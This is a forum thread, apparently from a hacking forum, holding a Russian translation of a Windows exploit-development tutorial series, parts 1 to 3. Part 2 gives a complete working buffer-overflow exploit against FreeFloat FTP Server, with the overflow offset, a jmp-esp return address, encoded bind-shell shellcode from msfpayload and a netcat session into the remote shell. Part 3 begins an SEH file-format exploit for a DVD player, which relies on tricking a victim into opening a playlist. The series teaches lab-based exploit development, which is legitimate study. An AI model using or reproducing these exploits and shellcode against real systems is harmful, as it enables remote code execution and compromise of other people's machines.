• XSS.stack #1 – первый литературный журнал от юзеров форума

Мануал/Книга Введение в разработку эксплоитов под Windows (fuzzysecurity.com)

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Часть 1: Введение в разработку эксплоитов

Это первая часть в (скромной) многотомной серии туториалов, посвященной разработке эксплоитов. Эта часть просто расскажет некоторые базовые вещи, такие, которые нам нужны, чтобы сделать нашу работу, основные идеи скрытые за разработкой эксплоитов и некоторые вещи, которые нужно держать в памяти, если мы хотим заслать и выполнить наш шеллкод. Эти туториалы не будут рассказывать как находить ошибки, вместо этого, каждая часть будет включать уязвимую программу, для которой нужна определенная техника, чтобы успешно эксплуатировать ошибку в ПО. Через определенное время, я намерен рассказать всё, от “Сохранения Адреса Возврата при Переполнении” до “ROP (Возвратно Ориентированное Программирование)”, конечно эти туториалы не напишут сами себя, поэтому это займёт немного времени, чтобы написать это всё. Стоит отметить, что эти туториалы будут затрагивать все мелкие детали и случаи; это достигается благодаря дизайну, который (1) позволяет мне сэкономить время и (2) позволяет прилежному читателю учиться участвуя в процессе разработки.

Я бы хотел выразить особую благодарность Offensive Security и Corelan`y, спасибо Вам, за то что дали мне эту удивительное и болезненное пристрастие!!

(1) Что нам понадобиться

Immunity Debugger
- Download
Immunity Debugger похож на Ollydbg, но он имеет поддержку Python, который нужен нам, чтобы запускать плагины, которые помогут нам с разработкой эксплоита. Он бесплатен; когда перейдите по ссылке, просто заполните поля левыми данными и нажмите скачать.

Mona.py - Download
Mona - это офигенная примочка с кучей функций, которая позволяет нам проводить быстро и надёжно разработку эксплоита. Я не буду обсуждать все её опции здесь, мы дойдём до них вскоре во время следующих частей туториала. Загрузите её и положите её в каталог Immunity’s PyCommands.

Pvefindaddr.py - Download
Pvefindaddr - это предшественник Mona’ы . Я знаю, что он немного устарел, но остаётся всё ещё полезным, т.к. есть некоторые фишки, которые не были перенесены ещё в Mona’у. Загрузите её и положите в каталог Immunity’s PyCommands.

Metasploit Framework - Download
Мы будем использовать Metasploit Framework очень интенсивно. Больше всего мы будем генерировать шеллкоды для наших эксплоитов, но нам также нужна платформа, которая поможет получить любые соединения, чтобы можно было вернуться в программу после выполнения эксплоита. Я предлагаю Вам использовать Backtrack, т.к. у него есть всё, что нам нужно, но не стесняйтесь настроить metasploit в любом случае для себя.

Программное обеспечение для виртуализации
В основном здесь существует два варианта — VirtualBox, который бесплатен и Vmware, который не бесплатен. Если это возможно, я предложил бы использовать Vmware; умный человек, возможно, не должен платить за это
;)
). Вместе с этим нам будут нужны несколько (32-битных) операционных систем, чтобы разрабатывать наши эксплоиты (Вы получите больше пользы из WindowsXP PRO SP3 и любой Windows7).
(2) Переполнения

В обучающих целях, я думаю важно подать вещи очень просто, а не сложно. В общем, когда мы пишем эксплоит, нам нужно найти переполнение в программе. Обычно эти ошибки будут на Переполнение Буфера (место в памяти получает больше данных, чем планировалось) или Переполнение Стэка (обычно Переполнение Буфера, которое записывает за концом стэка. Когда такое переполнение случается, есть две вещи, которые мы ищем; (1) наш буфер должен перезаписать EIP (Текущий указатель на инструкцию) и (2) один из регистров ЦП должен содержать наш буфер. Вы можете увидеть список регистров x86 ЦП ниже, с их отдельными функциями. Всё что мы должны помнить, это то, что любой из этих регистров может хранить наш буфер (и шеллкод).

EAX — Главный регистр используемый в арифметических вычислениях. Он также известен как аккумулятор, он хранит результаты арифметических операций и возвращает значение из функции.

EBX — Регистр базы. Указатель на данные в сегменте DS. Используется, чтобы хранить базовый адрес программы.

ECX — Регистр счетчик, часто используется, чтобы хранить значение, представляющее какое количество раз процесс должен быть повторен. Используется для цикла и строковых операций.

EDX — регистр общего назначения. Также используется, для операций в/в. Помогает расширить регистр EAX до 64 бит.

ESI — Индексный регистр источника. Указатель на данные в сегменте указанном регистром DS. Используется как смещение в строковых и массивных операциях. Он хранит адреса откуда читаются данные.

EDI — Индексный регистр назначения. Указатель на данные(или назначение) в сегменте указанном регистром ES. Используется как смещение в строковых и массивных операциях. Он хранит адреса куда пишутся данные.

EBP — Указатель на базу. Указатель на данные, которые хранятся в стэке (в сегменте SS). Он указывает на начало фрэйма стэка. Он используется, чтобы обращаться к локальным переменным.

ESP — Указатель на стэк (в сегменте SS). Он указывает на вершину стэка в текущем фрэйме. Он используется, чтобы обращаться к локальным переменным.

EIP — Указатель на инструкцию (хранит адрес следующей инструкции, которая должна быть выполнена)
(3) Как это работает?

В основном (1) мы заставляем программу хранить очень длинную строчку, (2) эта строка перезаписывает EIP и часть её храниться в регистре ЦП, (3) мы находим указатель, который указывает на регистр, который содержит наш буфер, (4) мы помещаем этот указатель в правильное место в нашем буфере, так, чтобы он перезаписал EIP, (5) когда программа достигает нашего указателя, она исполняет заданную нами инструкцию и прыгает на регистр, который содержит наш буфер и наконец (6), мы кладем наш шеллкод в часть буфера, который храниться в регистре ЦП . В сущности, мы угоняем поток выполнения программы и указываем ей на область памяти, которую мы контролируем. Если мы сможет это сделать, мы сможем исполнять на удаленной машине любые инструкции. Это немного упрощенно, но этого должно нам хватить, чтобы понять базовые идеи того как работают эксплоиты.

Источник: https://www.fuzzysecurity.com/tutorials/expDev/1.html
Автор перевода: yashechka
Переведено специально для портала xss.pro (c)
 
Часть 2. Сохраненные указателя возврата

Для нашего первого эксплойта мы начнем с самого простого сценария, где у нас есть чистая перезапись регистра EIP, и один из наших регистров процессора указывает непосредственно на большую часть нашего буфера. Для этой части мы будем создавать эксплойт с нуля для программы "FreeFloat FTP". Вы можете найти список нескольких эксплойтов, созданных для программы "FreeFloat FTP" здесь (https://www.exploit-db.com/search/?action=search&filter_description=freefloat)

Обычно нам нужно выполнять анализ плохих символов, но для нашего первого урока мы будем полагаться на плохие символы, которые перечислены в уже существующих модулях metasploit на сайте exploit-db. Перечисленные символы такие: "\x00\x0A\x0D". Нам нужно помнить эти плохие символы.

Нам потребуется:
Среда для разработки эксплойтов: Backtrack 5
Виртуальная машина: Windows XP PRO SP3
Уязвимое программное обеспечение: Можно взять отсюда(https://www.exploit-db.com/wp-conte...cbbf5b2506e80a375377fa-freefloatftpserver.zip)

Воспроизведение крэша


Прежде всего, нам нужно создать скелет POC эксплойта чтобы вызвать сбой FTP-сервера. Как только мы сделаем это, мы сможем использовать скелет для создания своего эксплойта. Вы можете увидеть мой POC ниже. Я создал его на основе эксплойтах для программы"FreeFloat FTP", которые я нашел на сайте exploit-db. Мы будем использовать уже существующую учетную запись пользователя ”anonymous”, которая настроена на FTP-сервер (эксплойт должен работать с любыми действительными учетными данными для входа).

Python:
#/usr/bin/python
 
import socket
import sys
 
evil = "A"*1000
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
 
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

Хорошо. Когда мы присоединяем отладчик к FTP-серверу и отправляем наш POC-буфер, программа вылетает. На скриншоте ниже вы можете видеть, что регистр EIP перезаписывается и что два регистра (ESP и EDI) содержат часть нашего буфера. После анализа обоих дампов регистров, дамп ESP кажется более перспективным, поскольку он содержит больший чанк нашего буфера (однако я должен отметить, что создание эксплойта, начинающегося в регистре EDI, безусловно, возможно).

1.png


Перезапись EIP

Затем нам нужно проанализировать наш сбой. Чтобы сделать это, нам нужно заменить наши буквы А на шаблон метасплойта и повторно отправить наш буфер. Обратите внимание, что вы сохраняете исходную длину буфера, так как изменяющаяся длина буфера может изменить сбой программы.

Bash:
root@bt:~/Desktop# cd /pentest/exploits/framework/tools/
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5
Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0A
o1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar
6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6A
y7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc
2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7
Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Когда программа снова вылетаем, мы видим то же самое, что и на скриншоте выше, за исключением того, что регистр EIP (и оба регистра) теперь перезаписываются частью шаблона metasploit. Пора позволить "моне" сделать часть тяжелой работы. Если мы выполним следующую команду в отладчике Immunity, мы можем проанализировать “моной” сбой программы. Вы можете увидеть результат этого анализа на скриншоте ниже.

!mona findmsp

2.png



Из анализа мы можем видеть, что регистр EIP перезаписывается 4 байтами, которые следуют непосредственно после начальных 247 байтов нашего буфера. Как я уже говорил ранее, мы также можем видеть, что регистр ESP содержит больший чанк нашего буфера, поэтому он является более подходящим кандидатом для нашего эксплойта. Используя эту информацию, мы можем реорганизовать злой буфер в нашем POC выше так:

evil = "A"*247 + "B"*4 + "C"*749

Когда мы повторно отправляем наш модифицированный буфер, мы видим, что он работает точно так, как мы ожидали. Регистр EIP перезаписывается нашими четырьмя буквами B.

3.png


Это означает, что мы можем заменить эти символы B указателем, который перенаправляет поток выполнения в регистр ESP. Единственное, что нам нужно иметь в виду, - это то, что наш указатель не может содержать плохих символов. Чтобы найти этот указатель, мы можем использовать "мону" с помощью следующей команды. Вы можете увидеть результаты на скриншоте ниже.

!mona jmp -r esp
4.png



Кажется, что любой из этих указателей подойдет. Они принадлежат динамической библиотеке операционной системы, поэтому они будут специфичны для "WinXP PRO SP3", но это не наша главная задача. Мы можем просто использовать первый указатель в списке. Имейте в виду, что нам потребуется изменить порядок байтов из-за архитектуры Little Endian центрального процессора. Соблюдайте синтаксис ниже.

Pointer: 0x77c35459 : push esp # ret | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5701 (C:\WINDOWS\system32\msvcrt.dll)
Buffer: evil = "A"*247 + "\x59\x54\xC3\x77" + "C"*749

Я должен подчеркнуть, что важно правильно документировать свой эксплойт для собственного и чужого чтения. Наш финальный POC должен выглядеть следующим образом

Python:
#!/usr/bin/python
 
import socket
import sys
 
#------------------------------------------------------------
# Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp #  ret  | msvcrt.dll
#------------------------------------------------------------
 
evil = "A"*247 + "\x59\x54\xC3\x77" + "C"*749
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
 
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

Хорошо. Давайте перезапустим программу в отладчике и установим точку останова на нашем указателе, чтобы отладчик сделал паузу, если он ее достигнет. Как мы видим на скриншоте ниже, регистр EIP перезаписывается нашим указателем, и мы достигаем точки останова, которая должна привести нас к нашему буферу, расположенному в регистре ESP.

5.png


Шеллкод + Конец игры

Мы почти закончили. Нам нужно (1) немного изменить наш POC, чтобы добавить переменную для нашего шеллкода, и (2) вставить полезную нагрузку, которая нам нравится. Давайте начнем с POC. Мы будем вставлять нашу полезную нагрузку в ту часть буфера, которая теперь состоит из Си кода. В идеале мы хотели бы, чтобы длина буфера изменялась динамически, поэтому нам не нужно пересчитывать, если мы вставляем полезную нагрузку с другим размером (наша общая длина буфера должна оставаться 1000 байтов). Мы также должны вставить некоторые инструкции NOP (No Operation = байту \x90) перед нашей полезной нагрузкой в качестве заполнения. Вы можете увидеть результат ниже. Любой шелл-код, который мы вставляем в переменную шелл-кода, будет выполнен нашим переполнением буфера.

Python:
#!/usr/bin/python
 
import socket
import sys
 
shellcode = (
)
 
#------------------------------------------------------------
# Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp #  ret  | msvcrt.dll
#------------------------------------------------------------
 
buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
 
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

Все, что осталось сейчас, - это ввести какой-нибудь шеллкод.
Мы будем использовать msfpayload для генерации нашего шелл-кода и перенаправлять исходный вывод в msfencode для фильтрации плохих символов.

Bash:
root@bt:~# msfpayload -l
[...snip...]
windows/shell/reverse_tcp_dns     Connect back to the attacker, Spawn a piped command shell (staged)
windows/shell_bind_tcp            Listen for a connection and spawn a command shell
windows/shell_bind_tcp_xpfw       Disable the Windows ICF, then listen for a connection and spawn a
                                  command shell
[...snip...]

root@bt:~# msfpayload windows/shell_bind_tcp O

       Name: Windows Command Shell, Bind TCP Inline
     Module: payload/windows/shell_bind_tcp
    Version: 8642
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 341
       Rank: Normal

Provided by:
  vlad902 <vlad902@gmail.com>
  sf <stephen_fewer@harmonysecurity.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LPORT     4444             yes       The listen port
RHOST                      no        The target address

Description:
  Listen for a connection and spawn a command shell
 
root@bt:~# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -b '\x00\x0A\x0D' -t c
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)

unsigned char buf[] =
"\xdb\xd0\xbb\x36\xcc\x70\x15\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x22\x2e\x85\xe9\xa2\x27"
"\x66\x12\x32\x58\xee\xf7\x03\x4a\x94\x7c\x31\x5a\xde\xd1\xb9"
"\x11\xb2\xc1\x4a\x57\x1b\xe5\xfb\xd2\x7d\xc8\xfc\xd2\x41\x86"
"\x3e\x74\x3e\xd5\x12\x56\x7f\x16\x67\x97\xb8\x4b\x87\xc5\x11"
"\x07\x35\xfa\x16\x55\x85\xfb\xf8\xd1\xb5\x83\x7d\x25\x41\x3e"
"\x7f\x76\xf9\x35\x37\x6e\x72\x11\xe8\x8f\x57\x41\xd4\xc6\xdc"
"\xb2\xae\xd8\x34\x8b\x4f\xeb\x78\x40\x6e\xc3\x75\x98\xb6\xe4"
"\x65\xef\xcc\x16\x18\xe8\x16\x64\xc6\x7d\x8b\xce\x8d\x26\x6f"
"\xee\x42\xb0\xe4\xfc\x2f\xb6\xa3\xe0\xae\x1b\xd8\x1d\x3b\x9a"
"\x0f\x94\x7f\xb9\x8b\xfc\x24\xa0\x8a\x58\x8b\xdd\xcd\x05\x74"
"\x78\x85\xa4\x61\xfa\xc4\xa0\x46\x31\xf7\x30\xc0\x42\x84\x02"
"\x4f\xf9\x02\x2f\x18\x27\xd4\x50\x33\x9f\x4a\xaf\xbb\xe0\x43"
"\x74\xef\xb0\xfb\x5d\x8f\x5a\xfc\x62\x5a\xcc\xac\xcc\x34\xad"
"\x1c\xad\xe4\x45\x77\x22\xdb\x76\x78\xe8\x6a\xb1\xb6\xc8\x3f"
"\x56\xbb\xee\x98\xa2\x32\x08\x8c\xba\x12\x82\x38\x79\x41\x1b"
"\xdf\x82\xa3\x37\x48\x15\xfb\x51\x4e\x1a\xfc\x77\xfd\xb7\x54"
"\x10\x75\xd4\x60\x01\x8a\xf1\xc0\x48\xb3\x92\x9b\x24\x76\x02"
"\x9b\x6c\xe0\xa7\x0e\xeb\xf0\xae\x32\xa4\xa7\xe7\x85\xbd\x2d"
"\x1a\xbf\x17\x53\xe7\x59\x5f\xd7\x3c\x9a\x5e\xd6\xb1\xa6\x44"
"\xc8\x0f\x26\xc1\xbc\xdf\x71\x9f\x6a\xa6\x2b\x51\xc4\x70\x87"
"\x3b\x80\x05\xeb\xfb\xd6\x09\x26\x8a\x36\xbb\x9f\xcb\x49\x74"
"\x48\xdc\x32\x68\xe8\x23\xe9\x28\x18\x6e\xb3\x19\xb1\x37\x26"
"\x18\xdc\xc7\x9d\x5f\xd9\x4b\x17\x20\x1e\x53\x52\x25\x5a\xd3"
"\x8f\x57\xf3\xb6\xaf\xc4\xf4\x92";

После небольшого предварительного кодирования и добавления соответствующих заметок финальный эксплойт готов.

Python:
#!/usr/bin/python
 
#----------------------------------------------------------------------------------#
# Exploit: FreeFloat FTP (MKD BOF)                                                 #
# OS: WinXP PRO SP3                                                                #
# Author: b33f (Ruben Boonen)                                                      #
# Software: http://www.freefloat.com/software/freefloatftpserver.zip               #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 2 of my Exploit Development tutorial series... #
# http://www.fuzzysecurity.com/tutorials/expDev/2.html                             #
#----------------------------------------------------------------------------------#
# root@bt:~/Desktop# nc -nv 192.168.111.128 9988                                   #
# (UNKNOWN) [192.168.111.128] 9988 (?) open                                        #
# Microsoft Windows XP [Version 5.1.2600]                                          #
# (C) Copyright 1985-2001 Microsoft Corp.                                          #
#                                                                                  #
# C:\Documents and Settings\Administrator\Desktop>                                 #
#----------------------------------------------------------------------------------#
 
import socket
import sys
 
#----------------------------------------------------------------------------------#
# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -b '\x00\x0A\x0D' -t c #
# [*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)                     #
#----------------------------------------------------------------------------------#
 
shellcode = (
"\xdb\xd0\xbb\x36\xcc\x70\x15\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x22\x2e\x85\xe9\xa2\x27"
"\x66\x12\x32\x58\xee\xf7\x03\x4a\x94\x7c\x31\x5a\xde\xd1\xb9"
"\x11\xb2\xc1\x4a\x57\x1b\xe5\xfb\xd2\x7d\xc8\xfc\xd2\x41\x86"
"\x3e\x74\x3e\xd5\x12\x56\x7f\x16\x67\x97\xb8\x4b\x87\xc5\x11"
"\x07\x35\xfa\x16\x55\x85\xfb\xf8\xd1\xb5\x83\x7d\x25\x41\x3e"
"\x7f\x76\xf9\x35\x37\x6e\x72\x11\xe8\x8f\x57\x41\xd4\xc6\xdc"
"\xb2\xae\xd8\x34\x8b\x4f\xeb\x78\x40\x6e\xc3\x75\x98\xb6\xe4"
"\x65\xef\xcc\x16\x18\xe8\x16\x64\xc6\x7d\x8b\xce\x8d\x26\x6f"
"\xee\x42\xb0\xe4\xfc\x2f\xb6\xa3\xe0\xae\x1b\xd8\x1d\x3b\x9a"
"\x0f\x94\x7f\xb9\x8b\xfc\x24\xa0\x8a\x58\x8b\xdd\xcd\x05\x74"
"\x78\x85\xa4\x61\xfa\xc4\xa0\x46\x31\xf7\x30\xc0\x42\x84\x02"
"\x4f\xf9\x02\x2f\x18\x27\xd4\x50\x33\x9f\x4a\xaf\xbb\xe0\x43"
"\x74\xef\xb0\xfb\x5d\x8f\x5a\xfc\x62\x5a\xcc\xac\xcc\x34\xad"
"\x1c\xad\xe4\x45\x77\x22\xdb\x76\x78\xe8\x6a\xb1\xb6\xc8\x3f"
"\x56\xbb\xee\x98\xa2\x32\x08\x8c\xba\x12\x82\x38\x79\x41\x1b"
"\xdf\x82\xa3\x37\x48\x15\xfb\x51\x4e\x1a\xfc\x77\xfd\xb7\x54"
"\x10\x75\xd4\x60\x01\x8a\xf1\xc0\x48\xb3\x92\x9b\x24\x76\x02"
"\x9b\x6c\xe0\xa7\x0e\xeb\xf0\xae\x32\xa4\xa7\xe7\x85\xbd\x2d"
"\x1a\xbf\x17\x53\xe7\x59\x5f\xd7\x3c\x9a\x5e\xd6\xb1\xa6\x44"
"\xc8\x0f\x26\xc1\xbc\xdf\x71\x9f\x6a\xa6\x2b\x51\xc4\x70\x87"
"\x3b\x80\x05\xeb\xfb\xd6\x09\x26\x8a\x36\xbb\x9f\xcb\x49\x74"
"\x48\xdc\x32\x68\xe8\x23\xe9\x28\x18\x6e\xb3\x19\xb1\x37\x26"
"\x18\xdc\xc7\x9d\x5f\xd9\x4b\x17\x20\x1e\x53\x52\x25\x5a\xd3"
"\x8f\x57\xf3\xb6\xaf\xc4\xf4\x92")
 
#----------------------------------------------------------------------------------#
# Badchars: \x00\x0A\x0D                                                           #
# 0x77c35459 : push esp #  ret  | msvcrt.dll                                       #
# shellcode at ESP => space 749-bytes                                              #
#----------------------------------------------------------------------------------#
 
buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
 
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

На скриншоте ниже мы видим экран до и после вывода команды «netstat -an», а ниже мы видим вывод терминала backrack при подключении к нашей оболочке. Игра окончена!!

6.png


Bash:
root@bt:~/Desktop# nc -nv 192.168.111.128 9988
(UNKNOWN) [192.168.111.128] 9988 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.111.128
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . :

C:\Documents and Settings\Administrator\Desktop>
 
Из анализа мы можем видеть, что регистр EIP перезаписывается 4 байтами, которые следуют непосредственно после начальных 247 байтов нашего буфера.
В MSF есть тулза не только для генерации, но и для последующего поиска оффсета:
Код:
# /opt/metasploit-framework/embedded/bin/ruby /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x69413269
[*] Exact match at offset 247
 
Часть 3: Структурированный обработчик исключений (SEH)


Эта часть будет охватывать первое реальное препятствие, с которым вы столкнетесь при написании эксплоитов. "Структурный обработчик исключений (SEH)" - это механизм защиты, который был реализован для предотвращения злоупотребления переполнением буфера, но, как мы увидим, он является весьма некорректным. Стоит отметить, что это руководство не будет охватывать технологии защиты SafeSEH или SEHOP. Позже я посвящу этому "Часть 3b" чтобы рассмотреть эти усовершенствованные механизмы защиты. Чтобы продемонстрировать методологию, необходимую для эксплоитов SEH, мы создадим эксплоит с нуля для программы "DVD X Player 5.5 PRO". Вы можете найти список уже существующих эксплоитов здесь (https://www.exploit-db.com/search/?action=search&filter_description=DVD+X+Player+5.5).

Опять же, мы обычно должны анализировать плохие символы, но для простоты я заранее перечислю плохие символы. Они такие "\x00\x0a\ x0d\x1a". Мы должны помнить об этом…

Нам потребуется:
Среда для разработки эксплойтов: Backtrack 5
Виртуальная машина: Windows XP PRO SP3
Уязвимое программное обеспечение: Можно взять отсюда (https://www.exploit-db.com/wp-conte...17304f4deb7d2e8feb5696394-DVDXPlayerSetup.exe)

Введение в Структурный обработчик исключений

Как я сказал в "Части 1", я думаю, что важно работать с такими сложными или простыми вещами, такими как какими они должны быть, поэтому я не буду объяснять эту технологию в полной мере, но я дам вам достаточно информации, чтобы начать работу. Я настоятельно советую вам провести более глубокое обучение через Интернет. SEH - это механизм в Windows, который использует структуру данных, называемую "Связанный список", которая содержит последовательность записей данных. При возникновении исключения операционная система перемещается вниз по этому списку. Обработчик исключений может либо оценить его пригодность для обработки исключения, либо он может указать операционной системе продолжить поиск по списку и оценить другие функции исключения. Чтобы иметь возможность сделать это, обработчик исключений должен содержать два элемента. 1 - указатель на текущую "Запись регистрации исключения" (SEH) и 2 - указатель на "Запись регистрации следующего исключения" (nSEH). Так как наш стек Windows растет сверху вниз, мы увидим, что порядок этих записей обратный [nSEH] ... [SEH]. Когда в программной функции возникает исключение, обработчик исключений помещает элементы своей структуры в стек, поскольку это является частью пролога функции для выполнения исключения. Во время исключения, что SEH будет находиться по адресу ESP+8.

Вы, вероятно, спрашиваете себя, как все это связано с разработкой эксплоитов. Если мы получим программу для хранения чрезмерно длинного буфера И перезапишем "Структурный обработчик исключений", мы обнулим регистры центрального процессора, поэтому мы не сможем напрямую перейти к нашему шеллкоду. К счастью, этот защитный механизм имеет недостатки. Обычно мы хотим перезаписать SEH указателем на инструкции "POP POP RETN" (инструкция POP удалит 4 байта из верхней части стека, а инструкция RETN вернет выполнение в верхнюю часть стека). Помните, что SEH находится по адресу ESP+8, поэтому, если мы увеличим стек на 8 байтов и вернемся к новому указателю на вершине стека, мы будем выполнять nSEH. Затем в nSEH у нас есть по крайней мере 4-байтовое пространство для записи некоторого опкода, который перейдет в область памяти, которую мы контролируем, где мы можем разместить наш шелл-код!!!

Все это звучит ужасно сложно, но вы увидите, что все это сложно только на бумаге. На самом деле создать эксплоит SEH чрезвычайно легко. Пример ниже продемонстрирует это.

Воспроизведение крэша

Итак, ниже вы можете увидеть наш скелет POC эксплоита; это эксплоит файлового формата. Мы будем записывать длинный буфер в файл списка воспроизведения (*.plf), который затем будет прочитан проигрывателем DVD и вызовет переполнение буфера (это на самом деле не так уж и отличается от отправки буфера через соединение TCP или UDP). Единственный существенный момент здесь заключается в том, что "жертва" должна быть обманута, чтобы открыть наш плейлист.

Python:
#!/usr/bin/python -w

filename="evil.plf"

buffer = "A"*2000

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

Итак, мы создаем файл *.plf. Подключаем плеер к отладчику immunity и открываем файл списка воспроизведения. Проигрыватель падает, как и ожидалось. Мы передаем начальное исключение с помощью сочетания клавиш "Shift-F9" (мы делаем это, потому что это первоначальное исключение приводит к другой технике эксплуатации, а нас интересует SEH). Вы можете увидеть скриншот регистров центрального процессора ниже (вы заметите, что SEH обнулил несколько регистров) и скриншот SEH-цепочки, который показывает нам, что мы перезаписываем запись SEH.

1.png
2.png


Перезапись SEH & NSEH

Следующий шаг не должен вызывать удивления. Нам нужно проанализировать сбой, поэтому мы заменим наш начальный буфер шаблоном метасплоита (обращая внимание, чтобы сохранить ту же длину буфера).

Bash:
root@bt:~/Desktop# cd /pentest/exploits/framework/tools/
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5
[...snip...]
f5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj
0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5
Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co

